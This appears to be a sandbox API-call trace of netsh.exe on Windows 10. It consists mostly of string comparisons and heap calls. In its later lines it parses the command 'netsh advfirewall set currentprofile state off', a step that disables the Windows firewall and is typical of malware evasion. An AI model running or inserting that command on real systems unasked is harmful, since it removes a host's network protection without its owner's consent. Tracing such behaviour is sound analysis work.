	[0238.706] _wcsicmp (_String1="winhttp", _String2="namespace") returned 9
	[0238.706] _wcsicmp (_String1="winhttp", _String2="netio") returned 9
	[0238.706] _wcsicmp (_String1="winhttp", _String2="p2p") returned 7
	[0238.706] _wcsicmp (_String1="winhttp", _String2="ras") returned 5
	[0238.706] _wcsicmp (_String1="winhttp", _String2="rpc") returned 5
	[0238.706] _wcsicmp (_String1="winhttp", _String2="trace") returned 3
	[0238.706] _wcsicmp (_String1="winhttp", _String2="wcn") returned 6
	[0238.706] _wcsicmp (_String1="winhttp", _String2="wfp") returned 3
	[0238.706] GetProcessHeap () returned 0x1fa72860000
	[0238.706] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x7e0) returned 0x1fa728bf460
	[0238.707] GetProcessHeap () returned 0x1fa72860000
	[0238.707] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728c0210) returned 1
	[0238.707] RegisterContext () returned 0x0
	[0238.707] _wcsicmp (_String1="wlan", _String2="advfirewall") returned 22
	[0238.707] _wcsicmp (_String1="wlan", _String2="bridge") returned 21
	[0238.707] _wcsicmp (_String1="wlan", _String2="dhcpclient") returned 19
	[0238.707] _wcsicmp (_String1="wlan", _String2="dnsclient") returned 19
	[0238.707] _wcsicmp (_String1="wlan", _String2="firewall") returned 17
	[0238.707] _wcsicmp (_String1="wlan", _String2="http") returned 15
	[0238.707] _wcsicmp (_String1="wlan", _String2="interface") returned 14
	[0238.707] _wcsicmp (_String1="wlan", _String2="ipsec") returned 14
	[0238.707] _wcsicmp (_String1="wlan", _String2="lan") returned 11
	[0238.707] _wcsicmp (_String1="wlan", _String2="namespace") returned 9
	[0238.707] _wcsicmp (_String1="wlan", _String2="netio") returned 9
	[0238.707] _wcsicmp (_String1="wlan", _String2="p2p") returned 7
	[0238.707] _wcsicmp (_String1="wlan", _String2="ras") returned 5
	[0238.707] _wcsicmp (_String1="wlan", _String2="rpc") returned 5
	[0238.707] _wcsicmp (_String1="wlan", _String2="trace") returned 3
	[0238.707] _wcsicmp (_String1="wlan", _String2="wcn") returned 9
	[0238.707] _wcsicmp (_String1="wlan", _String2="wfp") returned 6
	[0238.707] _wcsicmp (_String1="wlan", _String2="winhttp") returned 3
	[0238.707] _wcsicmp (_String1="wlan", _String2="advfirewall") returned 22
	[0238.707] _wcsicmp (_String1="wlan", _String2="bridge") returned 21
	[0238.707] _wcsicmp (_String1="wlan", _String2="dhcpclient") returned 19
	[0238.707] _wcsicmp (_String1="wlan", _String2="dnsclient") returned 19
	[0238.707] _wcsicmp (_String1="wlan", _String2="firewall") returned 17
	[0238.707] _wcsicmp (_String1="wlan", _String2="http") returned 15
	[0238.707] _wcsicmp (_String1="wlan", _String2="interface") returned 14
	[0238.707] _wcsicmp (_String1="wlan", _String2="ipsec") returned 14
	[0238.707] _wcsicmp (_String1="wlan", _String2="lan") returned 11
	[0238.707] _wcsicmp (_String1="wlan", _String2="namespace") returned 9
	[0238.707] _wcsicmp (_String1="wlan", _String2="netio") returned 9
	[0238.707] _wcsicmp (_String1="wlan", _String2="p2p") returned 7
	[0238.707] _wcsicmp (_String1="wlan", _String2="ras") returned 5
	[0238.707] _wcsicmp (_String1="wlan", _String2="rpc") returned 5
	[0238.707] _wcsicmp (_String1="wlan", _String2="trace") returned 3
	[0238.707] _wcsicmp (_String1="wlan", _String2="wcn") returned 9
	[0238.707] _wcsicmp (_String1="wlan", _String2="wfp") returned 6
	[0238.708] _wcsicmp (_String1="wlan", _String2="winhttp") returned 3
	[0238.708] GetProcessHeap () returned 0x1fa72860000
	[0238.708] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x850) returned 0x1fa728bfc50
	[0238.708] GetProcessHeap () returned 0x1fa72860000
	[0238.708] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728bf460) returned 1
	[0238.708] RegisterContext () returned 0x0
	[0238.708] _wcsicmp (_String1="winsock", _String2="advfirewall") returned 22
	[0238.708] _wcsicmp (_String1="winsock", _String2="bridge") returned 21
	[0238.708] _wcsicmp (_String1="winsock", _String2="dhcpclient") returned 19
	[0238.708] _wcsicmp (_String1="winsock", _String2="dnsclient") returned 19
	[0238.708] _wcsicmp (_String1="winsock", _String2="firewall") returned 17
	[0238.708] _wcsicmp (_String1="winsock", _String2="http") returned 15
	[0238.708] _wcsicmp (_String1="winsock", _String2="interface") returned 14
	[0238.708] _wcsicmp (_String1="winsock", _String2="ipsec") returned 14
	[0238.708] _wcsicmp (_String1="winsock", _String2="lan") returned 11
	[0238.708] _wcsicmp (_String1="winsock", _String2="namespace") returned 9
	[0238.708] _wcsicmp (_String1="winsock", _String2="netio") returned 9
	[0238.708] _wcsicmp (_String1="winsock", _String2="p2p") returned 7
	[0238.708] _wcsicmp (_String1="winsock", _String2="ras") returned 5
	[0238.708] _wcsicmp (_String1="winsock", _String2="rpc") returned 5
	[0238.708] _wcsicmp (_String1="winsock", _String2="trace") returned 3
	[0238.708] _wcsicmp (_String1="winsock", _String2="wcn") returned 6
	[0238.708] _wcsicmp (_String1="winsock", _String2="wfp") returned 3
	[0238.708] _wcsicmp (_String1="winsock", _String2="winhttp") returned 11
	[0238.708] _wcsicmp (_String1="winsock", _String2="wlan") returned -3
	[0238.708] _wcsicmp (_String1="winsock", _String2="advfirewall") returned 22
	[0238.708] _wcsicmp (_String1="winsock", _String2="bridge") returned 21
	[0238.708] _wcsicmp (_String1="winsock", _String2="dhcpclient") returned 19
	[0238.708] _wcsicmp (_String1="winsock", _String2="dnsclient") returned 19
	[0238.708] _wcsicmp (_String1="winsock", _String2="firewall") returned 17
	[0238.708] _wcsicmp (_String1="winsock", _String2="http") returned 15
	[0238.708] _wcsicmp (_String1="winsock", _String2="interface") returned 14
	[0238.708] _wcsicmp (_String1="winsock", _String2="ipsec") returned 14
	[0238.708] _wcsicmp (_String1="winsock", _String2="lan") returned 11
	[0238.708] _wcsicmp (_String1="winsock", _String2="namespace") returned 9
	[0238.708] _wcsicmp (_String1="winsock", _String2="netio") returned 9
	[0238.708] _wcsicmp (_String1="winsock", _String2="p2p") returned 7
	[0238.708] _wcsicmp (_String1="winsock", _String2="ras") returned 5
	[0238.709] _wcsicmp (_String1="winsock", _String2="rpc") returned 5
	[0238.709] _wcsicmp (_String1="winsock", _String2="trace") returned 3
	[0238.709] _wcsicmp (_String1="winsock", _String2="wcn") returned 6
	[0238.709] _wcsicmp (_String1="winsock", _String2="wfp") returned 3
	[0238.709] _wcsicmp (_String1="winsock", _String2="winhttp") returned 11
	[0238.709] _wcsicmp (_String1="winsock", _String2="wlan") returned -3
	[0238.709] GetProcessHeap () returned 0x1fa72860000
	[0238.709] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x8c0) returned 0x1fa728c04b0
	[0238.709] GetProcessHeap () returned 0x1fa72860000
	[0238.709] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728bfc50) returned 1
	[0238.709] RegisterContext () returned 0x0
	[0238.709] _wcsicmp (_String1="mbn", _String2="advfirewall") returned 12
	[0238.709] _wcsicmp (_String1="mbn", _String2="bridge") returned 11
	[0238.709] _wcsicmp (_String1="mbn", _String2="dhcpclient") returned 9
	[0238.709] _wcsicmp (_String1="mbn", _String2="dnsclient") returned 9
	[0238.709] _wcsicmp (_String1="mbn", _String2="firewall") returned 7
	[0238.709] _wcsicmp (_String1="mbn", _String2="http") returned 5
	[0238.709] _wcsicmp (_String1="mbn", _String2="interface") returned 4
	[0238.709] _wcsicmp (_String1="mbn", _String2="ipsec") returned 4
	[0238.709] _wcsicmp (_String1="mbn", _String2="lan") returned 1
	[0238.709] _wcsicmp (_String1="mbn", _String2="namespace") returned -1
	[0238.709] _wcsicmp (_String1="mbn", _String2="netio") returned -1
	[0238.709] _wcsicmp (_String1="mbn", _String2="p2p") returned -3
	[0238.709] _wcsicmp (_String1="mbn", _String2="ras") returned -5
	[0238.709] _wcsicmp (_String1="mbn", _String2="rpc") returned -5
	[0238.709] _wcsicmp (_String1="mbn", _String2="trace") returned -7
	[0238.709] _wcsicmp (_String1="mbn", _String2="wcn") returned -10
	[0238.709] _wcsicmp (_String1="mbn", _String2="wfp") returned -10
	[0238.709] _wcsicmp (_String1="mbn", _String2="winhttp") returned -10
	[0238.709] _wcsicmp (_String1="mbn", _String2="winsock") returned -10
	[0238.709] _wcsicmp (_String1="mbn", _String2="wlan") returned -10
	[0238.709] _wcsicmp (_String1="mbn", _String2="advfirewall") returned 12
	[0238.709] _wcsicmp (_String1="mbn", _String2="bridge") returned 11
	[0238.709] _wcsicmp (_String1="mbn", _String2="dhcpclient") returned 9
	[0238.709] _wcsicmp (_String1="mbn", _String2="dnsclient") returned 9
	[0238.710] _wcsicmp (_String1="mbn", _String2="firewall") returned 7
	[0238.710] _wcsicmp (_String1="mbn", _String2="http") returned 5
	[0238.710] _wcsicmp (_String1="mbn", _String2="interface") returned 4
	[0238.710] _wcsicmp (_String1="mbn", _String2="ipsec") returned 4
	[0238.710] _wcsicmp (_String1="mbn", _String2="lan") returned 1
	[0238.710] _wcsicmp (_String1="mbn", _String2="namespace") returned -1
	[0238.710] GetProcessHeap () returned 0x1fa72860000
	[0238.710] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x930) returned 0x1fa728bf460
	[0238.710] GetProcessHeap () returned 0x1fa72860000
	[0238.710] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728c04b0) returned 1
	[0241.142] RegisterContext () returned 0x0
	[0241.142] _wcsicmp (_String1="branchcache", _String2="advfirewall") returned 1
	[0241.142] _wcsicmp (_String1="branchcache", _String2="bridge") returned -8
	[0241.142] _wcsicmp (_String1="branchcache", _String2="dhcpclient") returned -2
	[0241.142] _wcsicmp (_String1="branchcache", _String2="dnsclient") returned -2
	[0241.142] _wcsicmp (_String1="branchcache", _String2="firewall") returned -4
	[0241.142] _wcsicmp (_String1="branchcache", _String2="http") returned -6
	[0241.142] _wcsicmp (_String1="branchcache", _String2="interface") returned -7
	[0241.142] _wcsicmp (_String1="branchcache", _String2="ipsec") returned -7
	[0241.142] _wcsicmp (_String1="branchcache", _String2="lan") returned -10
	[0241.142] _wcsicmp (_String1="branchcache", _String2="mbn") returned -11
	[0241.142] _wcsicmp (_String1="branchcache", _String2="namespace") returned -12
	[0241.142] _wcsicmp (_String1="branchcache", _String2="netio") returned -12
	[0241.142] _wcsicmp (_String1="branchcache", _String2="p2p") returned -14
	[0241.142] _wcsicmp (_String1="branchcache", _String2="ras") returned -16
	[0241.142] _wcsicmp (_String1="branchcache", _String2="rpc") returned -16
	[0241.142] _wcsicmp (_String1="branchcache", _String2="trace") returned -18
	[0241.142] _wcsicmp (_String1="branchcache", _String2="wcn") returned -21
	[0241.142] _wcsicmp (_String1="branchcache", _String2="wfp") returned -21
	[0241.142] _wcsicmp (_String1="branchcache", _String2="winhttp") returned -21
	[0241.143] _wcsicmp (_String1="branchcache", _String2="winsock") returned -21
	[0241.143] _wcsicmp (_String1="branchcache", _String2="wlan") returned -21
	[0241.143] _wcsicmp (_String1="branchcache", _String2="advfirewall") returned 1
	[0241.143] _wcsicmp (_String1="branchcache", _String2="bridge") returned -8
	[0241.143] GetProcessHeap () returned 0x1fa72860000
	[0241.143] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x9a0) returned 0x1fa728c7c40
	[0241.143] GetProcessHeap () returned 0x1fa72860000
	[0241.143] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728bf460) returned 1
	[0241.143] RegisterContext () returned 0x0
	[0241.143] GetProcessHeap () returned 0x1fa72860000
	[0241.143] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728a99f0
	[0241.143] GetProcessHeap () returned 0x1fa72860000
	[0241.143] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0241.143] LoadLibraryExW (lpLibFileName="mprmsg.dll", hFile=0x0, dwFlags=0x800) returned 0x7ff84d380000
	[0241.565] GetProcAddress (hModule=0x7ff84d380000, lpProcName="MprmsgGetErrorString") returned 0x7ff84d381040
	[0241.565] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7b4598410, Add=1) returned 1
	[0241.565] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0241.565] _wcsicmp (_String1="advfirewall", _String2="-?") returned 52
	[0241.565] _wcsicmp (_String1="advfirewall", _String2="-h") returned 52
	[0241.565] _wcsicmp (_String1="advfirewall", _String2="?") returned 34
	[0241.565] _wcsicmp (_String1="advfirewall", _String2="/?") returned 50
	[0241.565] _wcsicmp (_String1="advfirewall", _String2="-v") returned 52
	[0241.565] _wcsicmp (_String1="advfirewall", _String2="-a") returned 52
	[0241.566] _wcsicmp (_String1="advfirewall", _String2="-c") returned 52
	[0241.566] _wcsicmp (_String1="advfirewall", _String2="-f") returned 52
	[0241.566] _wcsicmp (_String1="advfirewall", _String2="-r") returned 52
	[0241.566] _wcsicmp (_String1="advfirewall", _String2="-u") returned 52
	[0241.566] _wcsicmp (_String1="advfirewall", _String2="-p") returned 52
	[0241.566] GetVersionExW (in: lpVersionInformation=0x7e077678d0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x7e077678d0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0241.566] _vsnwprintf (in: _Buffer=0x7ff7b45a7ca0, _BufferCount=0x103, _Format="%d.%d.%d", _ArgList=0x7e07767898 | out: _Buffer="10.0.15063") returned 10
	[0241.566] _vsnwprintf (in: _Buffer=0x7ff7b45a7eb0, _BufferCount=0x103, _Format="%d", _ArgList=0x7e07767898 | out: _Buffer="15063") returned 5
	[0241.566] _vsnwprintf (in: _Buffer=0x7ff7b45a80c0, _BufferCount=0x103, _Format="%d", _ArgList=0x7e07767898 | out: _Buffer="0") returned 1
	[0241.566] _vsnwprintf (in: _Buffer=0x7ff7b45a82d0, _BufferCount=0x103, _Format="%d", _ArgList=0x7e07767898 | out: _Buffer="0") returned 1
	[0241.566] GetProcessHeap () returned 0x1fa72860000
	[0241.566] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af650
	[0241.566] GetProcessHeap () returned 0x1fa72860000
	[0241.566] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af5d0
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc) returned 0x1fa728af610
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af630
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc) returned 0x1fa728af370
	[0241.567] wcscpy_s (in: _Destination=0x1fa728af370, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af610) returned 1
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af5d0) returned 1
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af0b0
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af110
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x52) returned 0x1fa728b2810
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af350
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af1b0
	[0241.567] wcscpy_s (in: _Destination=0x1fa728af1b0, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af5d0
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x8) returned 0x1fa728b4c10
	[0241.567] wcscpy_s (in: _Destination=0x1fa728b4c10, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af610
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1e) returned 0x1fa728c0330
	[0241.567] wcscpy_s (in: _Destination=0x1fa728c0330, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af670
	[0241.567] GetProcessHeap () returned 0x1fa72860000
	[0241.567] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc) returned 0x1fa728af690
	[0241.568] wcscpy_s (in: _Destination=0x1fa728af690, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af6b0
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x8) returned 0x1fa728b4ef0
	[0241.568] wcscpy_s (in: _Destination=0x1fa728b4ef0, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b2810) returned 1
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af110) returned 1
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af2b0
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af730
	[0241.568] wcscpy_s (in: _Destination=0x1fa728af730, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af1b0) returned 1
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af350) returned 1
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af350
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af110
	[0241.568] wcscpy_s (in: _Destination=0x1fa728af110, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af730) returned 1
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af2b0) returned 1
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af1b0
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x8) returned 0x1fa728b4d00
	[0241.568] wcscpy_s (in: _Destination=0x1fa728b4d00, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4c10) returned 1
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af5d0) returned 1
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af1f0
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1e) returned 0x1fa728c03c0
	[0241.568] wcscpy_s (in: _Destination=0x1fa728c03c0, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0
	[0241.568] GetProcessHeap () returned 0x1fa72860000
	[0241.568] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728c0330) returned 1
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af610) returned 1
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af210
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc) returned 0x1fa728af290
	[0241.569] wcscpy_s (in: _Destination=0x1fa728af290, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af690) returned 1
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af670) returned 1
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af5d0
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x8) returned 0x1fa728b4c30
	[0241.569] wcscpy_s (in: _Destination=0x1fa728b4c30, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4ef0) returned 1
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af6b0) returned 1
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x30) returned 0x1fa728b46f0
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc) returned 0x1fa728af2b0
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728af610
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x8) returned 0x1fa728b4f80
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1e) returned 0x1fa728c0210
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc) returned 0x1fa728af2d0
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x8) returned 0x1fa728b4d10
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc) returned 0x1fa728af690
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlReAllocateHeap (Heap=0x1fa72860000, Flags=0x0, Ptr=0x1fa728af690, Size=0xe) returned 0x1fa728af310
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.569] RtlReAllocateHeap (Heap=0x1fa72860000, Flags=0x0, Ptr=0x1fa728af310, Size=0x24) returned 0x1fa728c0330
	[0241.569] GetProcessHeap () returned 0x1fa72860000
	[0241.570] RtlReAllocateHeap (Heap=0x1fa72860000, Flags=0x0, Ptr=0x1fa728c0330, Size=0x26) returned 0x1fa728c0090
	[0241.570] GetProcessHeap () returned 0x1fa72860000
	[0241.570] RtlReAllocateHeap (Heap=0x1fa72860000, Flags=0x0, Ptr=0x1fa728c0090, Size=0x2c) returned 0x1fa728b4730
	[0241.570] GetProcessHeap () returned 0x1fa72860000
	[0241.570] RtlReAllocateHeap (Heap=0x1fa72860000, Flags=0x0, Ptr=0x1fa728b4730, Size=0x2e) returned 0x1fa728b3f30
	[0241.570] GetProcessHeap () returned 0x1fa72860000
	[0241.570] RtlReAllocateHeap (Heap=0x1fa72860000, Flags=0x0, Ptr=0x1fa728b3f30, Size=0x4a) returned 0x1fa728b2d50
	[0241.570] GetProcessHeap () returned 0x1fa72860000
	[0241.570] RtlReAllocateHeap (Heap=0x1fa72860000, Flags=0x0, Ptr=0x1fa728b2d50, Size=0x4c) returned 0x1fa728b2c30
	[0241.570] GetProcessHeap () returned 0x1fa72860000
	[0241.570] RtlReAllocateHeap (Heap=0x1fa72860000, Flags=0x0, Ptr=0x1fa728b2c30, Size=0x56) returned 0x1fa728b26f0
	[0241.570] GetProcessHeap () returned 0x1fa72860000
	[0241.570] RtlReAllocateHeap (Heap=0x1fa72860000, Flags=0x0, Ptr=0x1fa728b26f0, Size=0x58) returned 0x1fa728b3410
	[0241.570] GetProcessHeap () returned 0x1fa72860000
	[0241.570] RtlReAllocateHeap (Heap=0x1fa72860000, Flags=0x0, Ptr=0x1fa728b3410, Size=0x5e) returned 0x1fa728a9930
	[0241.570] GetProcessHeap () returned 0x1fa72860000
	[0241.570] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728a9930) returned 1
	[0241.570] lstrcmpiW (lpString1="netsh", lpString2="namespace") returned 1
	[0241.570] lstrcmpiW (lpString1="netsh", lpString2="branchcache") returned 1
	[0241.570] lstrcmpiW (lpString1="netsh", lpString2="advfirewall") returned 1
	[0241.570] lstrcmpiW (lpString1="netsh", lpString2="firewall") returned 1
	[0241.570] lstrcmpiW (lpString1="netsh", lpString2="interface") returned 1
	[0241.570] lstrcmpiW (lpString1="netsh", lpString2="dhcp") returned 1
	[0241.570] lstrcmpiW (lpString1="netsh", lpString2="dnsclient") returned 1
	[0241.570] lstrcmpiW (lpString1="netsh", lpString2="routing") returned -1
	[0241.571] lstrcmpiW (lpString1="netsh", lpString2="ip") returned 1
	[0241.571] lstrcmpiW (lpString1="netsh", lpString2="ipv6") returned 1
	[0241.571] lstrcmpiW (lpString1="netsh", lpString2="aaaa") returned 1
	[0241.571] lstrcmpiW (lpString1="netsh", lpString2="ras") returned -1
	[0241.571] _wcsnicmp (_String1="advfirewall", _String2="dump", _MaxCount=0xb) returned -3
	[0241.571] _wcsnicmp (_String1="advfirewall", _String2="help", _MaxCount=0xb) returned -7
	[0241.571] _wcsnicmp (_String1="advfirewall", _String2="?", _MaxCount=0xb) returned 34
	[0241.571] _wcsnicmp (_String1="advfirewall", _String2="exec", _MaxCount=0xb) returned -4
	[0241.571] _wcsnicmp (_String1="advfirewall", _String2="advfirewall", _MaxCount=0xb) returned 0
	[0241.571] lstrcmpiW (lpString1="advfirewall", lpString2="namespace") returned -1
	[0241.571] lstrcmpiW (lpString1="advfirewall", lpString2="branchcache") returned -1
